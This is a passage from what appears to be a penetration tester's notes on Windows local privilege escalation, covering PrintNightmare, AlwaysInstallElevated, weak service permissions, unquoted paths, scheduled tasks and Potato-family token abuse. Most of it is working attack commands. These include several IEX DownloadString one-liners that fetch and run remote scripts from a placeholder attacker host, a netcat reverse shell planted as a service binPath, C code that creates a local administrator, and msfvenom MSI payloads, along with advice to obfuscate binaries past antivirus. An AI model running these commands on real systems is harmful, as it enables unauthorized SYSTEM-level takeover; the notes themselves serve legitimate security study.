powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://<IP>:<Port>/Sherlock.ps1')"; Find-AllVulns

# PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://<IP>:<Port>/Sherlock.ps1'); Find-AllVulns
```

*(Metasploit) Local Exploit Suggester (outdated)*

The `local_exploit_suggester` module suggests local `meterpreter` exploits that can be used against the target, based on the architecture and platform as well as the available exploits in `meterpreter`.

```
meterpreter> run post/multi/recon/local_exploit_suggester

# OR

msf> use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set SESSION <session-id>
msf post(local_exploit_suggester) > run
```

**Pre compiled exploits**

A collection of pre compiled Windows kernel exploits can be found on the `windows-kernel-exploits` GitHub repository. Use at your own risk.

```
https://github.com/SecWiki/windows-kernel-exploits
```

**Compilers**

*mingw*

An exploit in C can be compiled on Linux to be used on a Windows system using the cross-compiler `mingw`:

```
# 32 bits
i686-w64-mingw32-gcc -o exploit.exe exploit.c

# 64 bits
x86_64-w64-mingw32-gcc -o exploit.exe exploit.c
```

*PyInstaller*

If an exploit is only available as a Python script and Python is not installed on the target, `PyInstaller` can be used to compile a stand alone executable of the Python script:

```
pyinstaller --onefile <SCRIPT>.py
```

`PyInstaller` should be used on a Windows operating system.

**PrintNightmare (CVE-2021-1675)**

On unpatched systems with the `Print Spooler` service running, the `PrintNightmare` vulnerability (`CVE-2021-1675`) can be leveraged, in addition to remote code execution, for local privilege escalation. The `PrintNightmare` vulnerability basically result in the execution of an arbitrary `DLL` under `NT AUTHORITY\SYSTEM` privileges. For more details on the `PrintNightmare` vulnerability, refer to the `[L7] 135 - MSRPC` note.

The status of the `Print Spooler` service on the local system can be retrieved using the following PowerShell cmdlets:

```
# Returns "Cannot find path '\\127.0.0.1\pipe\spoolss' because it does not exist" if the Print Spooler service is not running.
gci \\127.0.0.1\pipe\spoolss

# Retrieves the status of the Print Spooler service on the local system.
Get-Service Spooler
```

The [`nightmare-dll DLL`](https://github.com/calebstewart/CVE-2021-1675/tree/main/nightmare-dll) creates a local user (using the `Win32`'s `NetUserAdd` API) and add it to the local `Administrators` group (using the `Win32`'s `NetLocalGroupAddMembers` API). It may be used as a `DLL` template for `PrintNightmare` exploitation. Alternatively, a payload `DLL` may be generated using, for example, `msfvenom`.

The [`CVE-2021-1675.ps1` PowerShell script](https://github.com/Qazeer/InfoSec-Notes/blob/master/Windows/%60https:/github.com/calebstewart/CVE-2021-1675%60/README.md) can be used to locally elevate privileges by either:

* using its embedded (Base64-encoded GZIPped) `DLL` to create a local user and add it to the local `Administrators` group
* executing the specified `DLL` under `NT AUTHORITY\SYSTEM` privileges

```
Import-Module .\CVE-2021-1675.ps1

# Adds the specified user to the Administrators group using the script embedded DLL.
Invoke-Nightmare -DriverName "<Xerox | DRIVER_NAME>" -NewUser "<USERNAME>" -NewPassword "<PASSWORD>"

# Executes the given DLL under `NT AUTHORITY\SYSTEM` privileges.
Invoke-Nightmare -DLL "<FULL_PATH_DLL>"
```

Alternatively, the [`SharpPrintNightmare` `C#` implementation](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare) can be used for local privilege escalation purposes (in addition to remote code execution):

```
SharpPrintNightmare.exe "<FULL_PATH_DLL>"
```

`CVE-2021-1675.ps1` and `SharpPrintNightmare` (in `LPE` mode) present the advantage of not relying on the `RPC` or `SMB` protocols as the `AddPrinterDriverEx` and `EnumPrinterDrivers` APIs are called directly.

### AlwaysInstallElevated policy

Windows provides a mechanism which allows unprivileged users to install Windows installation packages, `Microsoft Windows Installer Package (MSI)` files, with `NT AUTHORITY\SYSTEM` privileges. This policy is known as `AlwaysInstallElevated`.

If activated, this mechanism can be leveraged to elevate privileges on the system by executing code through the `MSI` during the installation process as `NT AUTHORITY\SYSTEM`.

The Windows built-in `req` utility and the `PowerUp` PowerShell script can be used to check whether the `AlwaysInstallElevated` policy is enabled on the host by querying the associated registry key:

```
# If "REG_DWORD 0x1" is returned the policy is activated.
# If not, the error message "ERROR: The system was unable to find the specified registry key or value." indicates that the policy is not set.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# (PowerShell) PowerSploit's PowerUp Get-RegistryAlwaysInstallElevated.
PS> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1")
PS> Get-RegistryAlwaysInstallElevated
```

The policy can be abused to elevate privileges:

* By executing a given binary or `bat` script through a specifically crafted `MSI` installer using the [`MSI Wrapper`](https://www.exemsi.com/download/) graphical application or `msfvenom`.
* By adding a local user to the local `Administrators` group using the `MSI` installer embedded in the `PowerUp`'s `Write-UserAddMSI` PowerShell cmdlet. The cmdlet will open a graphical interface to specify the user to be added.
* Through a `meterpreter` session using the `Metasploit`'s `exploit/windows/local/always_install_elevated` module. The module will prevent the installation from succeeding to avoid the registration of the program on the system.

Refer to the `[General] File transfer` note for file transfer techniques to upload the MSI on the targeted system.

```
# msfvenom can be used to generate a MSI starting a Metasploit payload or using a provided binary.
msfvenom -p <PAYLOAD> -f msi-nouac > <MSI_FILE>
msfvenom -p windows/exec cmd="<BINARY_PATH>" -f msi-nouac > <MSI_FILE>

# MSI Wrapper procedure to generate an MSI that will execute the given binary under elevated privileges:
Executable (2nd page onward)      -> specify the executable to be executed
                                  -> Compression of wrapped file: None
Visibility in Apps & features     -> Visibility of MSI package: Hidden
Security and User context         -> Security context for lauching the executable: Windows Installer
                                  -> Elevation when launching the executable: Always elevate
                                  -> MSI installation context: Per User
                                  -> Check MSI package requires elevation
Application Ids                   -> Upgrade code: Create New.
-> Next -> [...] -> Build.

# Installs the specifed MSI file.
# /quiet: no messages displayed, /qn: no GUI, /i runs as current user.
msiexec /quiet /qn /i <MSI_PATH>

# (PowerShell) PowerSploit's PowerUp Write-UserAddMSI
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1")
Write-UserAddMSI

# Requires a meterpreter session.
msf> use exploit/windows/local/always_install_elevated
```

### Services misconfigurations

In Windows NT operating systems, a Windows service is a computer program that operates in the background, similarly in concept to a Unix daemon.

A Windows service must conform to the interface rules and protocols of the `Service Control Manager`, the component responsible for managing Windows services. Windows services can be configured to start with the operating system, manually or when an event occur.

Vulnerabilities in a service configuration could be exploited to execute code under the privileges of the user starting the service, often `NT AUTHORITY\SYSTEM`.

**Windows services enumeration**

The Windows built-ins `sc` and `wmic` can be used to enumerate the services configured on the target system. The Windows built-in graphical utility `services.msc` can alternatively be used as well.

```
# List services
Get-WmiObject -Class win32_service | Select-Object Name, DisplayName, PathName, StartName, StartMode, State, TotalSessions, Description
wmic service list config
sc query

# Service config
sc qc <SERVICE_NAME>

# Service status / extended status
sc query <SERVICE_NAME>
sc queryex <SERVICE_NAME>
```

**Weak services permissions**

A weak service permissions vulnerability occurs when an unprivileged user can alter the service configuration so that the service runs an arbitrary specified command or executable.

The rights on the service are defined in each service's security descriptor, formatted according to the `Security Descriptor Definition Language (SDDL)` definition. The `SDDL` defines the `System Access Control List and (SACL)` and the `Discretionary Access Control List (DACL)`:

* Prefix of S: `SACL` which controls the auditing (what access will generate an auditing event).
* Prefix of D: `DACL` which controls the actual permissions / rights over the services (and will govern the access to the service).

The `SDDL` uses `Access Control Entry (ACE)` strings in the `DACL` and `SACL` components of a security descriptor string. Each `ACE` in a security descriptor string is enclosed in parentheses in which an user account and their associated permissions / rights are represented.

The fields of the `ACE` are in the following order and are separated by semicolons (;).

```
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute)
```

In case of services, the fields `ace_type`, `rights` and `account_sid` are usually the only ones being set.

The `ace_type` field is usually either set to `Allow (A)` or `Deny (D)`. The `rights` field is a string that indicates the access rights controlled by the `ACE`, usually composed of pair of letters each representing a specific permission. Finally, the `account_sid` represent the security principal assigned with the permissions and can either be a two letters known alias or a `SID`.

The following known aliases can be encountered:

| Alias | Name                                 |
| ----- | ------------------------------------ |
| `AN`  | Anonymous logon                      |
| `AO`  | Account operators                    |
| `AU`  | Authenticated users                  |
| `BA`  | Built-in administrators              |
| `BG`  | Built-in guests                      |
| `BO`  | Backup operators                     |
| `BU`  | Built-in users                       |
| `CA`  | Certificate server administrators    |
| `CG`  | Creator group                        |
| `CO`  | Creator owner                        |
| `DA`  | Domain administrators                |
| `DC`  | Domain computers                     |
| `DD`  | Domain controllers                   |
| `DG`  | Domain guests                        |
| `DU`  | Domain users                         |
| `EA`  | Enterprise administrators            |
| `ED`  | Enterprise domain controllers        |
| `IU`  | Interactively logged-on user         |
| `LA`  | Local administrator                  |
| `LG`  | Local guest                          |
| `LS`  | Local service account                |
| `NO`  | Network configuration operators      |
| `NS`  | Network service account              |
| `NU`  | Network logon user                   |
| `PA`  | Group Policy administrators          |
| `PO`  | Printer operators                    |
| `PS`  | Personal self                        |
| `PU`  | Power users                          |
| `RC`  | Restricted code                      |
| `RD`  | Terminal server users                |
| `RE`  | Replicator                           |
| `RS`  | RAS servers group                    |
| `RU`  | Alias to allow previous Windows 2000 |
| `SA`  | Schema administrators                |
| `SO`  | Server operators                     |
| `SU`  | Service logon user                   |
| `SY`  | Local system                         |
| `WD`  | Everyone                             |

The following permissions are worth mentioning in the prospect of local privilege escalation:

| Ace's rights | Access right                   | Description                                                                                                          |
| ------------ | ------------------------------ | -------------------------------------------------------------------------------------------------------------------- |
| -            | `SERVICE_ALL_ACCESS`           | Include all service permissions, notably `SERVICE_CHANGE_CONFIG`.                                                    |
| `CC`         | `SERVICE_QUERY_CONFIG`         | Retrieve the service's current configuration from the SCM.                                                           |
| `DC`         | `SERVICE_CHANGE_CONFIG`        | Change the service configuration, notably grant the right to change the executable file associated with the service. |
| `GA`         | `GENERIC_ALL`                  | Equivalent to all the generic access rights (read, write and execute access to the service).                         |
| `GX`         | `GENERIC_WRITE`                | Equivalent to `SERVICE_QUERY_STATUS` and `SERVICE_CHANGE_CONFIG`.                                                    |
| `LC`         | `SERVICE_QUERY_STATUS`         | Retrieve the service's current status from the SCM.                                                                  |
| `LO`         | `SERVICE_INTERROGATE`          | Retrieve the service's current status directly from the service itself.                                              |
| `RC`         | `READ_CONTROL`                 | Read the security descriptor of the service.                                                                         |
| `RP`         | `SERVICE_START`                | Start the service.                                                                                                   |
| `SW`         | `SERVICE_ENUMERATE_DEPENDENTS` | List the services that depend on the service.                                                                        |
| `WD`         | `WRITE_DAC`                    | Modify the DACL of the service in its security descriptor.                                                           |
| `WO`         | `WRITE_OWNER`                  | Change the owner of the service in its security descriptor.                                                          |
| `WP`         | `SERVICE_STOP`                 | Stop the service.                                                                                                    |

A more comprehensive list of the access rights for Windows services can be found in the [official Microsoft documentation](https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights).

The `accesschk` tool, from the `Sysinternals` suite, and the `Powershell` `PowerUp` script can be used to list the services an user can exploit:

```
# List services that configure permissions for the "Everyone" / "Tout le monde" user groups
accesschk.exe -accepteula -uwcqv "Everyone" *
accesschk64.exe -accepteula -uwcqv "Everyone" *
accesschk.exe -accepteula -uwcqv "Tout le monde" *
accesschk64.exe -accepteula -uwcqv "Tout le monde" *

# List services that configure permissions for the specified user
accesschk.exe -accepteula -uwcqv <USERNAME> *
accesschk64.exe -accepteula -uwcqv <USERNAME> *

# Enumerate all services and their permissions configuration
accesschk.exe -accepteula -uwcqv *
accesschk64.exe -accepteula -uwcqv *

# Retrieve permissions configuration for the specified service
accesschk64.exe -accepteula -uwcqv <SERVICE_NAME>

# (PowerShell) PowerSploit's PowerUp Get-ModifiableServiceFile & Get-ModifiableService
# Get-ModifiableServiceFile - returns services for which the current user can directly modify the binary file
# Get-ModifiableService - returns services the current user can reconfigure
PS> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1")
PS> Get-ModifiableServiceFile
PS> Get-ModifiableService

meterpreter> load powershell
meterpreter> powershell_import <POWERUP_PS1_FILE_PATH>
meterpreter> powershell_execute Get-ModifiableServiceFile
meterpreter> powershell_execute Get-ModifiableService
```

If the use of the tools above is not a possibility, the Windows built-in `sc` can be used to directly retrieve a service's security descriptor's `DACL` (but not the owner of the service nor the it's `SACL`):

```
sc sdshow <SERVICE_NAME>

# Lists the DACL's ACE of the specified service, excluding rights granted to privileged principals.
$sddl = sc.exe sdshow <SERVICE_NAME> | where { $_ }
$sddl.split('(') | Select-String -NotMatch 'D:', 'BA', 'LA', 'SY', 'PU'

# Enumerates the DACL's ACE of all services, excluding rights granted to privileged principals.
Get-Service | % { Write-Host $_.Name; $sddl = sc.exe sdshow $_.Name ; $sddl.split('(') | Select-String -NotMatch 'D:', 'BA', 'LA', 'SY', 'PU'; Write-Host "`n`n" }

# Enumerates the rights granting modification privileges of all services, excluding rights granted to privileged principals.
Get-Service | % { Write-Host $_.Name; $sddl = sc.exe sdshow $_.Name ; $sddl.split('(') | Select-String -NotMatch 'BA', 'LA', 'SY', 'PU' | Select-String ';-;', 'DC', 'GA', 'GX', 'WD', 'WO' | Select-String -NotMatch 'WD\)'; Write-Host "`n`n" }
```

The `sc` utility can, among others, also be used to alter a service configuration:

```
# A space is required after binPath=
sc config <SERVICE_NAME> binPath= "net user <USERNAME> <PASSWORD> /add"
sc config <SERVICE_NAME> binPath= "net localgroup administrators <USERNAME> /add"
sc config <SERVICE_NAME> binPath= "<NEW_BIN_PATH>"

# If needed, start the service under Local Service account
sc config <SERVICE_NAME> obj= ".\LocalSystem" password= ""
sc config <SERVICE_NAME> obj= "\Local Service" password= ""
sc config <SERVICE_NAME> obj="NT AUTHORITY\LocalService" password= ""
```

The `Metasploit` module `exploit/windows/local/service_permissions` can be used through an existing `meterpreter` session to automatically detect and exploit weak services permissions to execute a specified payload under NT AUTHORITY\SYSTEM privileges.

**Unsecure NTFS permissions on service binaries**

Permissive NTFS permissions on the service binary used by the service can be leveraged to elevate privileges on the system as the user running the service.

If available, the Windows utility `wmic` can be used to retrieve all services binary paths:

```
wmic service list full | findstr /i "PathName" | findstr /i /v "System32"

Get-WmiObject -Class win32_service -Property PathName | Ft PathName
Get-WmiObject -Class win32_service -Property PathName | Where-Object { $_.PathName -NotMatch "system32"} | Ft PathName
```

The Windows bullet-in `icacls` can be used to determine the `NTFS` permissions on the services binary:

```
icacls <BINARY_PATH>

Get-ACL <BINARY_PATH | FOLDER_PATH> | Format-List
```

**Unquoted service binary paths**

When a service path is unquoted, the Service Manager will try to find the service binary in the shortest path, moving up to the longest path until one works. For example, for the path C:\TEST\Service Folder\binary.exe, the space is treated as an optional path to explore for that service. The resolution process will first look into C:\TEST\ for the Service.exe binary and, if it exist, use it to start the service.

Here is Windows’ chain of thought for the above example:

1. Are they asking me to run "C:\TEST\Service.exe" Folder\binary.exe No, it does not exist.
2. Are they asking me to run "C:\TEST\Service Folder\Service\_binary.exe" Yes, it does exist.

In summary, a service is vulnerable if the path to the executable contains spaces and is not wrapped in quote marks. Exploitation requires write permissions to the path before the quote mark. Note that unquoted path for services in `C:\Program Files` and `C:\Program Files (x86)` are usually not exploitable as unprivileged user rarely have write access in the `C:\` root directory or in the standard program directories.

In the above example, if an attacker has write privilege in C:\TEST, he could create a C:\Service.exe and escalate its privileges to the level of the account that starts the service.

To find vulnerable services the `wmic` tool and the `Powershell` `PowerUp` script can be used as well as a manual review of each service metadata using `sc` queries:

```
# wmic
wmic service get PathName, StartMode | findstr /i /v "C:\\Windows\\" | findstr /i /v """
wmic service get PathName, StartMode | findstr /i /v """
wmic service get name.pathname,startmode | findstr /i /v """ | findstr /i /v "C:\\Windows\\"
wmic service get name.pathname,startmode | findstr /i /v """

Get-WmiObject -Class win32_service -Property PathName | Where-Object { $_.PathName -NotMatch "system32" -And $_.PathName -NotMatch '"' } | Ft PathName

# (PowerShell) PowerSploit's PowerUp Get-ServiceUnquoted
PS> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/Pow
erSploit/master/Privesc/PowerUp.ps1")
PS> Get-UnquotedService

meterpreter> load powershell
meterpreter> powershell_import <POWERUP_PS1_FILE_PATH>
meterpreter> powershell_execute Get-ServiceUnquoted
```

The `Metasploit` module `exploit/windows/local/trusted_service_path` can be used through an existing `meterpreter` session to automatically detect and exploit unquoted service path to execute a specified payload under `NT AUTHORITY\SYSTEM` privileges.

**Windows XP SP0 & SP1**

On Windows XP SP0 and SP1, the Windows service `upnphost` is run by `NT AUTHORITY\LocalService` and grants the permission `SERVICE_ALL_ACCESS` to all `Authenticated Users`, meaning all authenticated users on the system can fully modify the service configuration. Du to the End-of-Life status of the Service Pack affected, the vulnerability will not be fixed and can be used as an universal privileges escalation method on Windows XP SP0 & SP1.

```
# accesschk.exe -uwcqv "Authenticated Users" *
# RW upnphost SERVICE_ALL_ACCESS
# sc qc upnphost
# SERVICE_START_NAME : NT AUTHORITY\LocalService

sc config upnphost binpath= "C:\<NC.EXE> -e C:\WINDOWS\System32\cmd.exe <IP> <PORT>"
sc config upnphost binpath= "net user <USERNAME> <PASSWORD> /add && net localgroup Administrators <USERNAME> /add"
sc config upnphost obj= ".\LocalSystem" password= ""
sc config upnphost depend= ""

net stop upnphost
net start upnphost
```

**Generate new service binary**

*Add a local administrator user*

The following C code can be used to add a local administrator user:

```
#include <stdlib.h>

int main() {
  int i;
  i = system("net user <USERNAME> <PASSWORD> /add");
  i = system("net localgroup administrators <USERNAME> /add");
  return 0;
}
```

The C code above can be compiled on Linux using the cross-compiler `mingw` (refer to cross compilation above).

*Reverse shell*

The service can be leveraged to start a privileged reverse shell. Refer to the `[General] Shells - Binary` note.

**Service restart**

To restart the service:

```
# Stop
net stop <SERVICE_NAME>
Stop-Service -Name <SERVICE_NAME> -Force

# Start
net start <SERVICE_NAME>
Start-Service -Name <SERVICE_NAME>

# Or through a graphical interface:
services.msc
```

If an error `System error 1068` ("The dependency service or group failed to start."), the dependencies can be removed to fix the service:

```
sc config <SERVICE_NAME> depend= ""
```

### Scheduled tasks & statup commands

Scheduled tasks are used to automatically perform a routine task on the system whenever the criteria associated to the scheduled task occurs. The scheduled tasks can either be run at a defined time, on repeat at set intervals, or when a specific event occurs, such as the system boot.

The scheduled tasks are exposed to the same kinds of misconfigurations flaws affecting the Windows services. However, note that the Windows GUI utility `Task Scheduler`, used to configure scheduled task, will always make use of quoted binary path, thus limiting the occurrence of unquoted scheduled task path.

The Windows built-in `schtasks` can be used to enumerate the scheduled tasks configured on the system or to retrieve information about a specific scheduled task.

```
# List all configured scheduled tasks - verbose
schtasks /query /fo LIST /v
Get-ScheduledTask

# Query the specified scheduled task
schtasks /v /query /fo LIST  /tn <TASK_NAME>
Get-ScheduledTask -TaskName <TASK_NAME>

# Start up commands
Get-WMIObject Win32_StartupCommand -NameSpace "root\CIMV2"
```

The commands below can be chained to filter the enabled scheduled tasks name and action for `NT AUTHORITY\SYSTEM`, `Administrator` or the specified user:

```
# Windows
schtasks /query /fo LIST /v > <TASKS_LIST_FILE>

# Linux
grep "TaskName\|Task To Run\|Run As User\|Scheduled Task State" <TASKS_LIST_FILE> | grep -B2 -A 1 "Enabled" | grep -B 3 "NT AUTHORITY\\\SYSTEM\|Administrator"
grep "TaskName\|Task To Run\|Run As User\|Scheduled Task State" <TASKS_LIST_FILE> | grep -B2 -A 1 "Enabled" | grep -B 3 <USERNAME>
```

The Windows bullet-in `icacls` can be used to determine the NTFS permissions on the scheduled tasks binary:

```
icacls <BINARY_PATH>
```

If the current user can modify the binary / script of a scheduled task run by another user, arbitrary command execution under the other user privileges can be achieved once the criteria associated to the scheduled task occurs.

Refer to the `[General] Shells - Binary` note for reverse shell binaries / scripts.

### Token Privileges abuse

#### Vulnerable privileges

Use the following command to retrieve the current user account token privileges:

```
whoami /priv

whoami /priv | findstr /i /C:"SeImpersonatePrivilege" /C:"SeAssignPrimaryPrivilege" /C:"SeTcbPrivilege" /C:"SeBackupPrivilege" /C:"SeRestorePrivilege" /C:"SeCreateTokenPrivilege" /C:"SeLoadDriverPrivilege" /C:"SeTakeOwnershipPrivilege" /C:"SeDebugPrivilege"
```

The following tokens can be exploited to gain SYSTEM access privileges:

* `SeAssignPrimaryPrivilege`
* `SeBackupPrivilege`
* `SeCreateTokenPrivilege`
* `SeDebugPrivilege`
* `SeImpersonatePrivilege`
* `SeLoadDriverPrivilege`
* `SeManageVolumePrivilege`
* `SeRestorePrivilege`
* `SeTakeOwnershipPrivilege`
* `SeTcbPrivilege`

For more and updated information on the aforementioned privileges, refer to the [Priv2Admin](https://github.com/gtworek/Priv2Admin) GitHub repository.

#### SeAssignPrimaryPrivilege / SeImpersonatePrivilege

**Overview**

The `SeAssignPrimaryTokenPrivilege` and the `SeImpersonatePrivilege` privileges allow, by design, to create a process under the security context of another user. The `SeAssignPrimaryTokenPrivilege` privilege can be exploited using the `CreateProcessAsUser()` Win32 API while the `SeImpersonatePrivilege` privilege can leveraged using the `CreateProcessWithToken()` Win32 API.

**Exploits of the potato family (except RoguePotato)** [**no longer work**](https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/) **on `Windows 10 build 1809` / `Windows 2019` and later.**

The process creation requires however a handle to a primary token of the user to impersonate. Multiple tools and techniques may be used to obtain a handle to a token of the `NT AUTHORITY\SYSTEM` account:

| Tool(s)                                                                                                                                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Technique limitation                                                                                                                                                                                                                                                                                                                                                                     |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Potato family ([`Potato`](https://github.com/foxglovesec/Potato), [`RottenPotatoNG`](https://github.com/breenmachine/RottenPotatoNG), [`Juicy Potato`](https://github.com/ohpe/juicy-potato)) | <p>Induces the <code>SYSTEM</code> account to connect to a controlled <code>RPC</code> endpoint using the <code>CoGetInstanceFromIStorage COM</code> API function.<br>In <code>Potato</code> and <code>RottenPotatoNG</code>, the call was used to instantiate a <code>COM Storage Object</code> of the <code>BITS</code> local service. In <code>Juicy Potato</code>, an instance of the service specified in parameter, using its <code>Class Identifier (CLSID)</code>, is requested.<br><br>Then the packets received by the controlled <code>RPC</code> endpoint are relayed to the <code>MSRPC</code> endpoint (on port TCP 135) until an <code>NTLM</code> authentication attempt of the <code>SYSTEM</code> account is received.<br><br>The <code>NTLM</code> authentication attempt is replayed using Windows API calls (<code>AcquireCredentialsHandle</code> and <code>AcceptSecurityContext</code>) to ultimately obtain a token for the <code>SYSTEM</code> account.</p> | <p>Restriction applied starting from the <code>Windows 10 1809</code> and <code>Windows Server 2019</code> operating system mitigate this attack.<br><br>Indeed the port contacted by the <code>COM</code> API function is now fixed to the <code>MSRPC</code> endpoint and can not longer be specified, resulting in an impossibility to intercept the NTLM authentication attempt.</p> |
| [`RogueWinRM`](https://github.com/antonioCoco/RogueWinRM)                                                                                                                                     | <p>Exploit the fact that upon starting the <code>BITS</code> service attempt an <code>NTLM</code> authentication to the <code>WinRM</code> service (on port 5985).<br><br>Similarly to the exploitation process of tools from the Potato family, the <code>NTLM</code> authentication attempt is relayed through Windows API calls to obtain a token for the <code>SYSTEM</code> account.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Requires that the `WinRM` service is not running (default configuration on Windows workstation operating systems, including `Windows 10`, but not on Windows server operating systems).                                                                                                                                                                                                  |
| [`PrintSpoofer`](https://github.com/itm4n/PrintSpoofer)                                                                                                                                       | <p>Induces the <code>SYSTEM</code> account to connect to a controlled <code>named pipe</code> using the <code>RpcRemoteFindFirstPrinterChangeNotification(Ex)</code> function of the <code>Print System Remote Protocol</code> exposed on the <code>MS-RPRN</code> <code>MSRPC</code> interface (also known as "Printer Bug").<br><br>Once the <code>SYSTEM</code> account is connected to the controlled <code>named pipe</code>, it can be impersonated using the <code>ImpersonateNamedPipeClient</code> Win32 API function.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Requires the `Print Spooler` service to be running (or startable by the current user) on the host.                                                                                                                                                                                                                                                                                       |

**Local service accounts privileges reduction**

The `NT AUTHORITY\LOCAL SERVICE` and `NT AUTHORITY\NETWORK SERVICE` are predefined local accounts notably used by the `Service Control Manager`. By default, the accounts are granted the `SeImpersonatePrivilege` privilege.

However, some Windows services executed as `NT AUTHORITY\LOCAL SERVICE` or `NT AUTHORITY\NETWORK SERVICE` will voluntarily limit their privileges and remove the `SeImpersonatePrivilege` from their access token. In such cases, the default privileges normally granted to the service accounts can be retrieved by creating a scheduled task; as the scheduled task process will have all the default privileges restored.

[FullPowers](https://github.com/itm4n/FullPowers) can be used to automate this process:

```
# Spawns a new interactive cmd.exe interpreter in place.
FullPowersFullPowers -x

# Execute the specified command.
# -z: Non-interactive process.
FullPowersFullPowers -x [-z] -c <COMMAND>
```

**Juicy Potato**

*`Juicy Potato` is an improved version of `RottenPotatoNG` and its usage is recommended.*

As stated above, the specification of service `CLSID` is required by `Juicy Potato`. A list of services' `CLSID` that can be leveraged for privilege escalation is available on the tool GitHub repository: `https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md`

```bash
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <BINARY>: program to launch
-l <PORT>: COM server listen port

# If no CLSID is provided, JuicyPotato will attempt by default to leverage the BITS service DCOM server (CLID {4991d34b-80a1-4291-83b6-3328366b9097}).
JuicyPotato.exe -t * [-c <CLSID>] -l <PORT> -p <cmd.exe | powershell.exe | BINARY> [-a "<COMMAND_LINE_ARGUMENTS>"]
```

**Rotten Potato x64 w/ Metasploit**

On unpatched systems, `RottenPotato` can be used in combination with the `Metasploit` `meterpreter`'s `incognito module`.

```
# Load the incognito module to toy with tokens
meterpreter > load incognito

# Upload the MSFRottenPotato binary on the target
# Some obfuscation may be needed in order to bypass AV
meterpreter > upload MSFRottenPotato.exe .

# The command may need to be run a few times
meterpreter > execute -f 'MSFRottenPotato.exe' -a '1 cmd.exe'

# The NT AUTHORITY\SYSTEM token should be available as a delegation token
# Even if the token is not displayed it might be available and the impersonation should be tried anyway
meterpreter > list_tokens -u
meterpreter > impersonate_token 'NT AUTHORITY\SYSTEM'
```

**Tater**

`Tater` is a `PowerShell` implementation of the `Potato` exploit and thus works similarly by targeting the `BITS` service.

```
# Import module (Import-Module or dot source method)
Import-Module ./Tater.ps1
. ./Tater.ps1

# Trigger (Default = 1): Trigger type to use in order to trigger HTTP to SMB relay.
0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task

Invoke-Tater -Command "net user <USERNAME> <PASSWORD> /add && net localgroup administrators <USERNAME> /add"

# Memory injection and run
powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/Tater.ps1'); Invoke-Tater -Command <POWERSHELLCMD>;
```

**RogueWinRM**

Starting from `Windows 10 1809` (and `Windows Server 2019` if the `WinRM` service is not already started), `RogueWinRM` can be used to exploit the `SeImpersonatePrivilege` privilege.

```
RogueWinRM -p <BINARY_PATH | C:\windows\system32\cmd.exe> [-a "<COMMAND_LINE_ARGUMENTS>"]
```

**PrintSpoofer**

If the `Print Spooler` service is running locally (or can be started), `PrintSpoofer` can be used to exploit the `SeImpersonatePrivilege` privilege (tested on `Windows 10` and `Windows Server 2016 / 2019`).

```
# Checks if the Print Spooler service is running.
sc qc Spooler
Get-Service -Name Spooler

# Attempts to start the Print Spooler service.
net start Spooler
Start-Service -Name Spooler

# -i: interactive process. Default is non-interactive.
PrintSpoofer.exe [-i] -c "<cmd.exe | powershell.exe | BINARY_PATH | cmd.exe COMMAND_LINE_ARGUMENTS | ...>"
```

### Local administrator to NT AUTHORITY\SYSTEM

The `LocalSystem` account (associated with the `NT AUTHORITY\SYSTEM` `SID`) is used by the operating system and by services that run under Windows. It is an internal account, which does not show up in User Manager and cannot be added to any security groups. Executing code under the `LocalSystem` account may be needed in some circumstances (for example to leverage specific privileges associated with the `LocalSystem` account, such as the `SeTcbPrivilege` privilege).

The `PsExec` Microsoft signed tool can be used to elevate to `LocalSystem` from an administrator account (through a Windows service):

```
# -s   Run the remote process in the System account.
# -i   Run the program so that it interacts with the desktop of the specified session on the remote system
# -d   Don't wait for process to terminate (non-interactive).

psexec.exe -accepteula -s -i -d cmd.exe
```

The [`Invoke-CommandAs`](https://github.com/mkellerman/Invoke-CommandAs) PowerShell cmdlet can also be used to execute code as `LocalSystem` account (through a Scheduled Task):

```
# Injects the Module in memory.
IEX (New-Object Net.WebClient).DownloadString("http://<WEB_SERVER>/Invoke-CommandAs/Private/Invoke-ScheduledTask.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://<WEB_SERVER>/Invoke-CommandAs/Public/Invoke-CommandAs.ps1")

Invoke-CommandAs -AsSystem -ScriptBlock { <POWERSHELL_CODE> }
```

If a `meterpreter` shell is being used, the `getsystem` command can be leveraged to the same end.

***

### References

<https://stackoverflow.com/questions/1331887/detect-antivirus-on-windows-using-c-sharp>

